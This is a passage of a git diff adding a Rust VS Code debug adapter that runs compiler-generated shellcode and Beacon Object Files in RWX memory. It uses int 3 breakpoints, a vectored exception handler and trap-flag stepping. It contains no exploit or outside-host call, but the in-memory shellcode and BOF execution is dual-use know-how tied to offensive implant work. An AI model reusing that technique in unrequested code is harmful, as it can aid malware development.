run_headless_trace(&bin); + } + other => { + eprintln!("unknown mode `{other}` - try `dap` (default) or `trace `"); + std::process::exit(2); + } + } +} + +fn run_dap() { + dap::serve(); +} + +/// Headless smoke test: load + trace once, print each source-line stop +/// as NDJSON to stdout, then exit. Useful for `cargo run -- trace foo.bin` +/// without VS Code in the loop. +fn run_headless_trace(bin_path: &str) { + let dbg_path = bin_path + .strip_suffix(".bin") + .map(|s| format!("{s}.dbg")) + .unwrap_or_else(|| format!("{bin_path}.dbg")); + let map = sourcemap::SourceMap::load(&dbg_path).unwrap_or_else(|e| { + eprintln!("entc-debug: load {dbg_path}: {e}"); + std::process::exit(1); + }); + let bin = fs::read(bin_path).unwrap_or_else(|e| { + eprintln!("entc-debug: read {bin_path}: {e}"); + std::process::exit(1); + }); + + let (ev_tx, ev_rx) = mpsc::channel(); + let (cmd_tx, cmd_rx) = mpsc::channel(); + + // Headless: plant a stop at every source-mapped offset so the + // NDJSON walks past every statement. The VS Code path is more + // selective (it only plants what the user / stopOnEntry chose). + let initial_bps: Vec = map.entries.iter().map(|e| e.offset).collect(); + + // Spawn the tracer. It runs the shellcode + VEH; we pump events + // back here and just auto-acknowledge every stop with Continue. + let session = tracer::TracerSession::new(); + let map_clone = map.clone(); + let bin_clone = bin.clone(); + let tracer_handle = thread::spawn(move || { + tracer::run(&bin_clone, map_clone, initial_bps, session, ev_tx, cmd_rx) + }); + + let stdout = io::stdout(); + let mut out = stdout.lock(); + while let Ok(ev) = ev_rx.recv() { + let line = serde_json::to_string(&ev).unwrap(); + writeln!(out, "{line}").ok(); + match ev { + tracer::Event::Stopped { .. } => { + cmd_tx.send(tracer::Cmd::Continue).ok(); + } + tracer::Event::Exited { .. } | tracer::Event::Output { .. } => {} + } + } + let _ = tracer_handle.join(); +} diff --git a/tools/entc-debug/src/sourcemap.rs b/tools/entc-debug/src/sourcemap.rs new file mode 100644 index 0000000..17c25e5 --- /dev/null +++ b/tools/entc-debug/src/sourcemap.rs @@ -0,0 +1,227 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Loader for the `.dbg` text map the compiler emits with +//! `--debug`. Format (one entry per line): +//! +//! # entropy debug map for example/foo.etpy +//! # offset line:col kind source +//! 0000000d 30:5 call example/foo.etpy +//! ... +//! +//! Lines starting with `#` are comments. The leading hex offset is the +//! shellcode byte offset; the rest of the fields are derived from the +//! source. + +use std::fs; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone)] +pub struct Entry { + pub offset: usize, + pub line: u32, + pub col: u32, + pub kind: String, +} + +/// A named local emitted by the compiler. `loc` is a tiny textual +/// expression the adapter parses to figure out where the value lives: +/// +/// - `rbp-0x8` / `rbp+0x10` - frame-relative (currently the only form) +/// - `rax`, `rcx`, ... - direct register (future) +/// - `rip+0x40` - rip-relative (future; for globals) +/// +/// `line_start` / `line_end` bracket the source lines where the +/// variable is live. `line_end == u32::MAX` means "until end of +/// function". +#[derive(Debug, Clone)] +pub struct VarInfo { + pub name: String, + pub ty: String, + pub loc: String, + pub line_start: u32, + pub line_end: u32, +} + +/// Parsed source map ready for byte-offset to source lookups. Cloneable +/// because the DAP server and tracer thread each want their own view. +#[derive(Debug, Clone)] +pub struct SourceMap { + /// Absolute path to the .etpy. Stored absolute so the DAP server can + /// hand it back to VS Code in stackTrace responses without relying + /// on the debugger's cwd matching the workspace root (which it + /// often doesn't - VS Code passes its workspace as cwd, but + /// extensions can override it). + pub source_path: PathBuf, + pub entries: Vec, // sorted by offset ascending + pub vars: Vec, // declaration order +} + +impl SourceMap { + /// Read and parse a `.dbg` file. Errors propagate as plain strings + /// so the DAP server can include them in an Output event. + pub fn load(path: &str) -> Result { + let text = fs::read_to_string(path) + .map_err(|e| format!("read {path}: {e}"))?; + let dbg_dir: PathBuf = Path::new(path) + .parent() + .map(Path::to_path_buf) + .unwrap_or_else(|| PathBuf::from(".")); + + let mut raw_source: Option = None; + let mut entries: Vec = Vec::new(); + let mut vars: Vec = Vec::new(); + // The .dbg has two sections - entries (offset to line:col) and + // an optional variables block introduced by `# variables`. We + // track which section we're in by header comment, since the + // grammars are different (positional vs `name : type : loc`). + let mut in_vars = false; + + for raw in text.lines() { + let line = raw.trim(); + if line.is_empty() { continue; } + if let Some(rest) = line.strip_prefix("# entropy debug map for ") { + raw_source = Some(PathBuf::from(rest.trim())); + in_vars = false; + continue; + } + if line.starts_with("# variables") { + in_vars = true; + continue; + } + if line.starts_with('#') { continue; } + + if in_vars { + // Format: `name : type : loc : line_start..line_end` + let parts: Vec<&str> = line.splitn(4, " : ").collect(); + if parts.len() != 4 { continue; } + let (name, ty, loc) = (parts[0].trim(), parts[1].trim(), parts[2].trim()); + let range = parts[3].trim(); + let (s, e) = match range.split_once("..") { + Some(p) => p, None => continue, + }; + let line_start: u32 = match s.trim().parse() { Ok(n) => n, Err(_) => continue }; + let line_end: u32 = if e.trim() == "max" { + u32::MAX + } else { + match e.trim().parse() { Ok(n) => n, Err(_) => continue } + }; + vars.push(VarInfo { + name: name.to_string(), + ty: ty.to_string(), + loc: loc.to_string(), + line_start, line_end, + }); + continue; + } + + // Entry row: ` : ` + let mut it = line.split_whitespace(); + let off_hex = match it.next() { Some(s) => s, None => continue }; + let line_col = match it.next() { Some(s) => s, None => continue }; + let kind = match it.next() { Some(s) => s, None => continue }; + let src = it.next().unwrap_or(""); + let Ok(offset) = usize::from_str_radix(off_hex, 16) else { continue }; + let (lstr, cstr) = match line_col.split_once(':') { + Some(p) => p, None => continue, + }; + let Ok(line_n) = lstr.parse::() else { continue }; + let Ok(col_n) = cstr.parse::() else { continue }; + entries.push(Entry { + offset, line: line_n, col: col_n, + kind: kind.to_string(), + }); + if raw_source.is_none() && !src.is_empty() { + raw_source = Some(PathBuf::from(src)); + } + } + entries.sort_by_key(|e| e.offset); + + let source_path = resolve_source_path(raw_source.as_deref(), &dbg_dir); + Ok(SourceMap { source_path, entries, vars }) + } + + /// Return all variables in scope at `line`. Used by the DAP + /// server's `variables(LOCALS)` handler. + pub fn vars_in_scope(&self, line: u32) -> Vec<&VarInfo> { + self.vars.iter() + .filter(|v| line >= v.line_start && line <= v.line_end) + .collect() + } + + /// Find the source entry whose offset matches `offset` exactly - + /// software breakpoints land at the exact planted byte. + pub fn at(&self, offset: usize) -> Option<&Entry> { + match self.entries.binary_search_by_key(&offset, |e| e.offset) { + Ok(i) => Some(&self.entries[i]), + Err(_) => None, + } + } + + /// Find the nearest preceding entry - used when the breakpoint + /// isn't an exact match (e.g. a runaway PC between lowered + /// statements). + pub fn nearest(&self, offset: usize) -> Option<&Entry> { + if self.entries.is_empty() { return None; } + match self.entries.binary_search_by_key(&offset, |e| e.offset) { + Ok(i) => Some(&self.entries[i]), + Err(0) => None, + Err(i) => Some(&self.entries[i - 1]), + } + } +} + +/// Turn whatever the .dbg's header reported into an absolute path. +/// Strategy, in order: +/// +/// 1. Absolute already + exists: trust it. +/// 2. `dbg_dir / `: most common case, the .etpy lives +/// next to its .dbg. +/// 3. `dbg_dir / ` joined as written. +/// 4. `dbg_dir.parent() / `: covers `example/foo.etpy` written +/// in a .dbg that is placed inside `example/` - the path was +/// workspace-relative even though we have a per-folder dbg. +/// 5. Last resort: return `dbg_dir / ` even if not present, +/// so VS Code at least sees a sensible-looking path it can offer +/// to create. +fn resolve_source_path(raw: Option<&Path>, dbg_dir: &Path) -> PathBuf { + let raw = match raw { + Some(p) => p, + None => return dbg_dir.join(""), + }; + if raw.is_absolute() && raw.exists() { + return canonicalize_pretty(raw); + } + if let Some(name) = raw.file_name() { + let same_dir = dbg_dir.join(name); + if same_dir.exists() { + return canonicalize_pretty(&same_dir); + } + } + let as_written = dbg_dir.join(raw); + if as_written.exists() { + return canonicalize_pretty(&as_written); + } + if let Some(parent) = dbg_dir.parent() { + let workspace_relative = parent.join(raw); + if workspace_relative.exists() { + return canonicalize_pretty(&workspace_relative); + } + } + // Couldn't actually find it on disk. Hand back the most plausible + // guess so VS Code shows SOMETHING in the stackTrace. + raw.file_name() + .map(|n| dbg_dir.join(n)) + .unwrap_or_else(|| dbg_dir.join(raw)) +} + +/// `std::fs::canonicalize` on Windows returns a `\\?\` prefixed path +/// that VS Code doesn't love. Strip it. +fn canonicalize_pretty(p: &Path) -> PathBuf { + match std::fs::canonicalize(p) { + Ok(c) => { + let s = c.to_string_lossy(); + let trimmed = s.trim_start_matches(r"\\?\"); + PathBuf::from(trimmed) + } + Err(_) => p.to_path_buf(), + } +} diff --git a/tools/entc-debug/src/tracer.rs b/tools/entc-debug/src/tracer.rs new file mode 100644 index 0000000..f7aa34c --- /dev/null +++ b/tools/entc-debug/src/tracer.rs @@ -0,0 +1,841 @@ +// SPDX-License-Identifier: Apache-2.0 +//! tracer.rs - in-process software-breakpoint tracer. +//! +//! Loads a shellcode `.bin` into RWX memory, plants `int 3` (0xCC) at +//! every breakpoint offset chosen by the DAP server, registers a +//! vectored exception handler, then calls into the entry. Each `int 3` +//! trap is parked in the VEH, which sends a `Stopped` event to the DAP +//! server, snapshots the CPU registers into a session struct the DAP +//! server can read, and blocks on a control channel until told to +//! Continue, Step, or Stop. +//! +//! Software-bp restoration uses the classic "restore + single-step + +//! re-plant" dance: +//! 1. On int 3, restore the original byte and keep RIP at the +//! trapped instruction so the original runs on resume. +//! 2. Set the TF flag so the CPU traps after that one instruction. +//! 3. In the SINGLE_STEP handler, re-plant `0xCC` at the original +//! address. The breakpoint is live again for the next pass. +//! +//! Instruction stepping piggy-backs on the same TF trick: when the +//! DAP server sends `StepInstruction`, we set TF and stop again in the +//! SINGLE_STEP handler. +//! +//! This file is Windows-only - VEH and TF instrumentation don't have +//! portable equivalents. On non-Windows the module compiles to a +//! plain stub so the DAP server still builds for local schema tests +//! but loudly refuses to actually trace. + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::{Arc, Mutex}; +use serde::Serialize; + +use crate::sourcemap::SourceMap; + +// ============================================================================ +// Public protocol between tracer thread and DAP server. +// ============================================================================ + +#[derive(Debug, Clone, Serialize)] +#[serde(tag = "event", rename_all = "snake_case")] +pub enum Event { + /// Tracer parked at a breakpoint or step. The DAP server forwards + /// this to VS Code as a `stopped` event - that's what makes the + /// execution arrow appear on the source line. `line`/`col` are + /// the source mapping when available; otherwise 0 (e.g. stopping + /// between source statements during instruction stepping). + Stopped { + offset: usize, + rip: u64, + line: u32, + col: u32, + reason: StopReason, + /// Free-form detail string. Used for exception stops + /// ("ACCESS_VIOLATION reading 0x...") and (eventually) + /// logpoint hits. + description: Option, + }, + /// Shellcode returned. `code` is `rax` truncated to i32. + Exited { code: i32 }, + /// Diagnostic text to surface in VS Code's Debug Console. + Output { text: String }, +} + +#[derive(Debug, Clone, Copy, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum StopReason { Entry, Breakpoint, Step, Pause, Exception } + +#[derive(Debug, Clone)] +pub enum Cmd { + /// Resume free-running until the next planted breakpoint. + Continue, + /// Step exactly one source-mapped statement. The DAP server arms + /// every source-line offset as a temporary breakpoint before + /// sending this, so the next break IS the next source line. + Next, + /// Step exactly one machine instruction. TF-based - we restore + /// the byte we trapped on (if any), set TF, and on the SINGLE_STEP + /// re-stop the tracer with reason=Step. + StepInstruction, + /// Replace the active breakpoint set with this list of offsets. + /// Sent at the start of every session AND whenever the user + /// toggles breakpoints in VS Code. Safe to receive while the + /// tracer is parked - applied in place; the park keeps waiting + /// for a real resume command. + SetBreakpoints { offsets: Vec }, + /// Tear down the session (shellcode is mid-run). Restores every + /// planted byte and resumes - the shellcode then runs to a clean + /// exit without re-stopping. + Stop, +} + +// ============================================================================ +// Register snapshot shared with the DAP server. +// ============================================================================ + +/// CPU register snapshot captured at every stop. The DAP server reads +/// it through the shared [`TracerSession`] when answering `variables` +/// requests in the "Registers" scope. Keeping it in a Mutex (rather +/// than passing it through the Stopped event) lets the DAP server +/// also serve `readMemory` requests that index off a current register +/// without the event having to round-trip first. +#[derive(Debug, Clone, Copy, Default)] +pub struct RegSnapshot { + pub rax: u64, pub rbx: u64, pub rcx: u64, pub rdx: u64, + pub rsi: u64, pub rdi: u64, pub rbp: u64, pub rsp: u64, + pub r8: u64, pub r9: u64, pub r10: u64, pub r11: u64, + pub r12: u64, pub r13: u64, pub r14: u64, pub r15: u64, + pub rip: u64, pub rflags: u64, +} + +/// State the DAP server needs while the tracer is running: +/// - shellcode base/size for memoryReference resolution + disasm +/// range bounds-checks, +/// - the latest register snapshot for the Registers variables scope. +/// +/// Created by the DAP server, handed to the tracer, written to from +/// inside the VEH handler. +pub struct TracerSession { + /// Set once by `tracer::run` immediately after `VirtualAlloc` + /// succeeds, then read-only for the rest of the session. Zero + /// means "not yet allocated". + pub base: AtomicUsize, + pub size: AtomicUsize, + /// Latest register snapshot. `None` until the first stop. + pub regs: Mutex>, + /// Mirror of the tracer's planted-bp table: `(offset, original_byte)`. + /// The DAP server overlays these onto disasm / readMemory output + /// so the user sees the original instructions rather than our + /// `0xCC` traps. Kept in step with the tracer's internal `bps` + /// via [`TracerSession::set_planted`]. + pub planted: Mutex>, + /// Set by the DAP server's `pause` handler after it has armed + /// TF on the tracer thread via SuspendThread + SetThreadContext. + /// The next SINGLE_STEP the VEH receives reports a stop with + /// reason=Pause instead of the usual step semantics. + pub pause_pending: std::sync::atomic::AtomicBool, +} + +impl TracerSession { + pub fn new() -> Arc { + Arc::new(Self { + base: AtomicUsize::new(0), + size: AtomicUsize::new(0), + regs: Mutex::new(None), + planted: Mutex::new(Vec::new()), + pause_pending: std::sync::atomic::AtomicBool::new(false), + }) + } + pub fn base(&self) -> usize { self.base.load(Ordering::Acquire) } + pub fn size(&self) -> usize { self.size.load(Ordering::Acquire) } + pub fn regs(&self) -> Option { *self.regs.lock().unwrap() } + + /// Replace the planted-bp mirror. Tracer-side helper - call after + /// any mutation of the real bps list so the DAP server's reads + /// stay in sync. + pub fn set_planted(&self, bps: &[(usize, u8)]) { + *self.planted.lock().unwrap() = bps.to_vec(); + } +} + +// ============================================================================ +// Windows-only tracer implementation. +// ============================================================================ + +#[cfg(windows)] +mod imp { + use super::*; + use std::ffi::c_void; + use std::mem::transmute; + use std::ptr::null_mut; + use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; + use windows_sys::Win32::Foundation::{EXCEPTION_BREAKPOINT, EXCEPTION_SINGLE_STEP}; + use windows_sys::Win32::System::Diagnostics::Debug::{ + AddVectoredExceptionHandler, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, + EXCEPTION_POINTERS, RemoveVectoredExceptionHandler, + }; + use windows_sys::Win32::System::Memory::{ + VirtualAlloc, VirtualFree, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + }; + + /// Singleton tracer state. The VEH callback has no userdata pointer + /// (Win32 limitation), so the only path it has to find session + /// state is a global. We accept one active tracer at a time - + /// matches the DAP "one debuggee per session" model. + static mut STATE: Option = None; + static STATE_INSTALLED: AtomicBool = AtomicBool::new(false); + + struct TracerState { + base: usize, + size: usize, + map: SourceMap, + ev_tx: Sender, + cmd_rx: std::sync::Mutex>, + session: Arc, + /// All source-line offsets - armed temporarily when the user + /// asks for a source-line step so the next break IS the next + /// source line. Sorted, immutable for the session. + all_source_offsets: Vec, + /// `(offset, original_byte)` for every planted breakpoint. + bps: std::sync::Mutex>, + /// Offsets planted ONLY for the current source-line step. On + /// the next stop, these are restored and removed from `bps`. + step_temp_offsets: std::sync::Mutex>, + /// Single-step "owe": after restoring a planted byte and + /// running the original instruction, we need to re-plant + /// `0xCC`. The SINGLE_STEP handler reads this, replants, + /// clears it. + replant_at: AtomicUsize, + replant_pending: AtomicBool, + /// Set when the user requested an instruction step. The next + /// SINGLE_STEP exception (after the TF-armed resume) will + /// stop the tracer again with reason=Step instead of just + /// continuing. + step_instr_pending: AtomicBool, + } + + /// Entry point. Builds the shellcode in RWX memory, plants the + /// initial breakpoint set (chosen by the DAP server - typically + /// user bps + an optional stop-on-entry), installs VEH, calls into + /// the entry. Blocks the caller until the shellcode returns or a + /// `Cmd::Stop` aborts. + pub fn run( + bin: &[u8], + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: Sender, + cmd_rx: Receiver, + ) { + if STATE_INSTALLED.swap(true, Ordering::SeqCst) { + let _ = ev_tx.send(Event::Output { + text: "tracer: another session is already active".into(), + }); + return; + } + + // RWX so we can both patch (write the 0xCC) and execute. + let mem = unsafe { + VirtualAlloc( + null_mut(), + bin.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + } as *mut u8; + if mem.is_null() { + let _ = ev_tx.send(Event::Output { + text: "tracer: VirtualAlloc failed".into(), + }); + STATE_INSTALLED.store(false, Ordering::SeqCst); + return; + } + unsafe { + std::ptr::copy_nonoverlapping(bin.as_ptr(), mem, bin.len()); + } + + // Publish base/size to the DAP server BEFORE we install VEH - + // any inbound readMemory request must see the region as live. + session.base.store(mem as usize, Ordering::Release); + session.size.store(bin.len(), Ordering::Release); + + // Plant ONLY the requested breakpoints. The DAP server hands + // us the user's chosen set (translated from source lines) + // plus optionally the first source line for stopOnEntry. + let mut bps = Vec::with_capacity(initial_bps.len()); + for &offset in &initial_bps { + if offset >= bin.len() { continue; } + let p = unsafe { mem.add(offset) }; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + bps.push((offset, original)); + } + + let all_source_offsets: Vec = + map.entries.iter().map(|e| e.offset).collect(); + + // Sync the initial planted set to the session so the DAP + // server's first disasm / readMemory request already sees the + // overlay-able originals. + session.set_planted(&bps); + + unsafe { + STATE = Some(TracerState { + base: mem as usize, + size: bin.len(), + map, + ev_tx, + cmd_rx: std::sync::Mutex::new(cmd_rx), + session, + all_source_offsets, + bps: std::sync::Mutex::new(bps), + step_temp_offsets: std::sync::Mutex::new(Vec::new()), + replant_at: AtomicUsize::new(0), + replant_pending: AtomicBool::new(false), + step_instr_pending: AtomicBool::new(false), + }); + } + + // 1 to call first. Our handler should win over anything the + // shellcode might install later. + let veh = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; + if veh.is_null() { + tear_down(mem); + return; + } + + // We trust our own emitter not to throw - unrecoverable + // shellcode exceptions take down the adapter process, which + // VS Code surfaces as "debugger died". + let entry: extern "C" fn() -> i64 = unsafe { transmute(mem) }; + let exit_code = entry(); + + let st = unsafe { STATE.as_ref().unwrap() }; + let _ = st.ev_tx.send(Event::Exited { code: exit_code as i32 }); + + // Order matters: remove the VEH BEFORE freeing memory so any + // stale exception delivery can't dereference our state. + unsafe { RemoveVectoredExceptionHandler(veh) }; + tear_down(mem); + } + + fn tear_down(mem: *mut u8) { + unsafe { + VirtualFree(mem as *mut c_void, 0, MEM_RELEASE); + STATE = None; + } + STATE_INSTALLED.store(false, Ordering::SeqCst); + } + + /// Tear-down for BOF mode. The loader VirtualAlloc'd all the + /// sections itself and intentionally leaks them (the harness + /// process is short-lived, the debugger session is one-shot). + /// We just clear the global state + the singleton lock so the + /// next session can install. + fn tear_down_bof() { + unsafe { STATE = None; } + STATE_INSTALLED.store(false, Ordering::SeqCst); + } + + /// Entry point - BOF flavour. Mirrors [`run`] but consumes an + /// already-loaded [`bof_loader::load::LoadedBof`] (sections + /// mapped, `__imp_*` slots resolved, relocations applied) and + /// calls `go(args, len)` per Win64 ABI instead of `entry()`. + /// + /// Plants `int 3` at every debug-info offset within `.text` the + /// same way `run` does, registers the same VEH, and uses the same + /// DAP machinery - the only differences are "where the bytes + /// came from" and "what calling convention the entry uses." + pub fn run_bof( + loaded: bof_loader::load::LoadedBof, + args: Vec, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: Sender, + cmd_rx: Receiver, + ) { + if STATE_INSTALLED.swap(true, Ordering::SeqCst) { + let _ = ev_tx.send(Event::Output { + text: "tracer: another session is already active".into(), + }); + return; + } + + // Route BeaconPrintf / BeaconOutput through DAP `Event::Output` + // so the BOF's prints surface in VS Code's Debug Console. + // Without this hook the BOF's `print!` writes would land on + // entc-debug's own stdout - which IS the DAP wire-protocol + // channel, corrupting frame headers. + // + // The closure captures a clone of `ev_tx`; emits are + // line-buffered (we send each Beacon call as its own event) + // so VS Code's console flushes promptly. Categories are + // collapsed to one text stream - DAP `output` doesn't have a + // semantic distinction between `printf` and `output` and the + // operator sees a strict-order log anyway. + let ev_tx_for_hook = ev_tx.clone(); + bof_loader::beacon::set_output_hook(move |cat, text| { + let prefix = match cat { + bof_loader::beacon::OutputCategory::Printf => "[BOF] ", + bof_loader::beacon::OutputCategory::Output => "[BOF output] ", + }; + let _ = ev_tx_for_hook.send(Event::Output { + text: format!("{prefix}{text}"), + }); + }); + + let text_base = loaded.text_base; + let text_size = loaded.text_size; + let go_addr = text_base + loaded.go_offset as usize; + + // Publish .text base/size so the DAP server's disasm / + // readMemory / Locals scope work the same way they do for + // standard mode. + session.base.store(text_base, Ordering::Release); + session.size.store(text_size, Ordering::Release); + + // Plant int 3 at the requested .text offsets. + let mut bps = Vec::with_capacity(initial_bps.len()); + for &offset in &initial_bps { + if offset >= text_size { continue; } + let p = (text_base + offset) as *mut u8; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + bps.push((offset, original)); + } + + let all_source_offsets: Vec = + map.entries.iter().map(|e| e.offset).collect(); + session.set_planted(&bps); + + unsafe { + STATE = Some(TracerState { + base: text_base, + size: text_size, + map, + ev_tx, + cmd_rx: std::sync::Mutex::new(cmd_rx), + session, + all_source_offsets, + bps: std::sync::Mutex::new(bps), + step_temp_offsets: std::sync::Mutex::new(Vec::new()), + replant_at: AtomicUsize::new(0), + replant_pending: AtomicBool::new(false), + step_instr_pending: AtomicBool::new(false), + }); + } + + let veh = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; + if veh.is_null() { + tear_down_bof(); + return; + } + + // Build a NUL-terminated args buffer so a BOF reading `args` + // as a C string doesn't walk off the end. The reported `len` + // excludes the NUL (matches Beacon's convention). + let mut args_z = args; + args_z.push(0); + let payload_len = (args_z.len() - 1) as i32; + let go_fn: unsafe extern "system" fn(*const u8, i32) = + unsafe { transmute(go_addr) }; + unsafe { go_fn(args_z.as_ptr(), payload_len); } + + let st = unsafe { STATE.as_ref().unwrap() }; + // BOFs return `void`; report exit code 0 to keep the DAP + // contract happy. + let _ = st.ev_tx.send(Event::Exited { code: 0 }); + + unsafe { RemoveVectoredExceptionHandler(veh) }; + // Drop the output hook so a subsequent session installs its + // own. Without this, `ev_tx` from THIS session would stay + // captured by the global hook - fine for one-shot but a + // hazard for any future multi-session adapter mode. + bof_loader::beacon::clear_output_hook(); + tear_down_bof(); + } + + /// Vectored exception handler. + /// + /// `EXCEPTION_BREAKPOINT` (`int 3`): planted bp hit. + /// 1. Snapshot registers, look up the source line, push Stopped. + /// 2. Park; ignore SetBreakpoints; wait for Continue/Next/StepI/Stop. + /// 3. On resume: restore the trapped byte, set TF, schedule + /// replant. For `Next`, arm every source-line offset; for + /// `StepInstruction`, also set `step_instr_pending` so the + /// SINGLE_STEP handler re-stops the tracer. + /// + /// `EXCEPTION_SINGLE_STEP`: TF fired after one instruction. + /// 1. Replant the saved bp if owed. + /// 2. If `step_instr_pending`: snapshot regs again, push Stopped + /// with reason=Step, park, then re-enter the resume logic. + /// + /// Anything else falls through to the system handler. + unsafe extern "system" fn veh_handler(ep: *mut EXCEPTION_POINTERS) -> i32 { + let st = match STATE.as_ref() { + Some(s) => s, + None => return EXCEPTION_CONTINUE_SEARCH, + }; + + let rec = &*(*ep).ExceptionRecord; + let ctx = &mut *(*ep).ContextRecord; + let code = rec.ExceptionCode as i32; + + let rip = ctx.Rip as usize; + + if code != EXCEPTION_BREAKPOINT && code != EXCEPTION_SINGLE_STEP { + // If the fault came from INSIDE the shellcode region, treat + // it as a debuggee crash: snapshot regs, park, let the user + // inspect, then on any resume command tear the session + // down (continuing past an AV would just re-fault). + // + // If it came from outside the shellcode, pass through to + // the system handler - that's some Win32 / runtime issue + // we shouldn't swallow. + let in_shellcode = rip >= st.base && rip < st.base + st.size; + if !in_shellcode { + return EXCEPTION_CONTINUE_SEARCH; + } + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let desc = describe_exception(code as u32, rec, rip); + // Also surface as a console line so it's visible even if + // the user dismisses the Stop reason. + let _ = st.ev_tx.send(Event::Output { + text: format!("[entc-debug] shellcode {}", desc), + }); + let _ = st.ev_tx.send(Event::Stopped { + offset: rip - st.base, + rip: rip as u64, + line, col, + reason: StopReason::Exception, + description: Some(desc), + }); + let _ = wait_for_resume_cmd(st); + // Whatever the user picks, we can't safely keep running - + // the original faulting instruction is still there. Push + // an exit and let the host process clean up. + let _ = st.ev_tx.send(Event::Exited { code: -1 }); + std::process::exit(1); + } + + // ---- SINGLE_STEP first; usually paired with a planted-bp replant. + if code == EXCEPTION_SINGLE_STEP { + if st.replant_pending.swap(false, Ordering::SeqCst) { + let addr = st.replant_at.load(Ordering::SeqCst); + let offset = addr - st.base; + let active = st.bps.lock().unwrap().iter().any(|(o, _)| *o == offset); + if active { + let p = addr as *mut u8; + *p = 0xCC; + } + } + + // Three things can request a stop on the next SS: + // - step_instr_pending: the user asked for `stepIn` at + // instruction granularity. + // - pause_pending: the DAP server set TF externally via + // SuspendThread/SetThreadContext after the user hit + // the Pause button. + // If neither is set, the SS was for our own bp-replant + // dance and we just resume. + let step = st.step_instr_pending.swap(false, std::sync::atomic::Ordering::SeqCst); + let pause = st.session.pause_pending.swap(false, std::sync::atomic::Ordering::SeqCst); + if !step && !pause { + return EXCEPTION_CONTINUE_EXECUTION; + } + + // Stop here. RIP is at the instruction AFTER the one that + // was single-stepped; source mapping may be approximate. + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let offset = rip.wrapping_sub(st.base); + let reason = if pause { StopReason::Pause } else { StopReason::Step }; + let _ = st.ev_tx.send(Event::Stopped { + offset, rip: rip as u64, line, col, + reason, description: None, + }); + // Park; on resume, run the same dance the breakpoint + // path uses (the byte at RIP may or may not be a planted + // bp). + let cmd = wait_for_resume_cmd(st); + apply_resume(st, ctx, cmd, /*at_planted_bp=*/false); + return EXCEPTION_CONTINUE_EXECUTION; + } + + // ---- EXCEPTION_BREAKPOINT: must be one of our planted bps. + if rip < st.base || rip >= st.base + st.size { + return EXCEPTION_CONTINUE_SEARCH; + } + let bp_offset = rip - st.base; + let original = { + let bps = st.bps.lock().unwrap(); + bps.iter().find(|(o, _)| *o == bp_offset).map(|(_, b)| *b) + }; + let Some(original) = original else { + return EXCEPTION_CONTINUE_SEARCH; + }; + + // Remove any temp source-step bps now that we've reached a + // stop - they fulfilled their purpose. Restore originals. + let temp = std::mem::take(&mut *st.step_temp_offsets.lock().unwrap()); + if !temp.is_empty() { + let mut bps = st.bps.lock().unwrap(); + let mut keep: Vec<(usize, u8)> = Vec::new(); + for (off, byte) in bps.iter().copied() { + if temp.contains(&off) { + let p = (st.base + off) as *mut u8; + *p = byte; + } else { + keep.push((off, byte)); + } + } + *bps = keep; + st.session.set_planted(&bps); + } + + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let _ = st.ev_tx.send(Event::Stopped { + offset: bp_offset, + rip: rip as u64, + line, col, + reason: StopReason::Breakpoint, + description: None, + }); + + // Stash the original byte so apply_resume knows what to write + // back. We re-fetch inside apply_resume since the user may + // have toggled this bp via SetBreakpoints while parked. + let cmd = wait_for_resume_cmd(st); + let _ = original; // bookkeeping; original byte resolved below. + apply_resume(st, ctx, cmd, /*at_planted_bp=*/true); + EXCEPTION_CONTINUE_EXECUTION + } + + /// Block until the DAP server tells us how to resume. SetBreakpoints + /// arriving while parked is applied in place and we keep waiting - + /// it's not a resume command. + fn wait_for_resume_cmd(st: &TracerState) -> Cmd { + let rx = st.cmd_rx.lock().unwrap(); + loop { + match rx.recv().unwrap_or(Cmd::Stop) { + Cmd::SetBreakpoints { offsets } => { + apply_breakpoint_set(&offsets); + } + other => return other, + } + } + } + + /// Execute the post-park dance: restore the trapped byte (if any), + /// arm step temporaries, set TF, schedule replant/step. + unsafe fn apply_resume( + st: &TracerState, + ctx: &mut windows_sys::Win32::System::Diagnostics::Debug::CONTEXT, + cmd: Cmd, + at_planted_bp: bool, + ) { + if matches!(cmd, Cmd::Stop) { + // Restore every planted byte so the shellcode runs to a + // clean exit without re-stopping. + let mut bps = st.bps.lock().unwrap(); + for (off, byte) in bps.iter().copied() { + let p = (st.base + off) as *mut u8; + *p = byte; + } + bps.clear(); + st.session.set_planted(&bps); + return; + } + + let rip = ctx.Rip as usize; + + // For `Next` (source-line step), arm every source-line offset + // not already planted, so the very next break is the next + // source statement. We remember the temporary set so the next + // stop can restore them. + if matches!(cmd, Cmd::Next) { + let mut temp: Vec = Vec::new(); + let mut bps = st.bps.lock().unwrap(); + for &off in &st.all_source_offsets { + if off >= st.size { continue; } + // Skip the offset we're sitting on - it'll get its + // 0xCC replanted by the SINGLE_STEP path below. + if at_planted_bp && st.base + off == rip { continue; } + if !bps.iter().any(|(o, _)| *o == off) { + let p = (st.base + off) as *mut u8; + let original = *p; + *p = 0xCC; + bps.push((off, original)); + temp.push(off); + } + } + *st.step_temp_offsets.lock().unwrap() = temp; + st.session.set_planted(&bps); + } + + if at_planted_bp { + // Restore the original byte at RIP. Find it fresh - the + // user may have removed this bp via SetBreakpoints during + // the park. + let bp_offset = rip - st.base; + let original = st.bps.lock().unwrap() + .iter().find(|(o, _)| *o == bp_offset).map(|(_, b)| *b); + if let Some(original) = original { + let p = rip as *mut u8; + *p = original; + ctx.EFlags |= 0x100; + st.replant_at.store(rip, Ordering::SeqCst); + st.replant_pending.store(true, Ordering::SeqCst); + } + } + + if 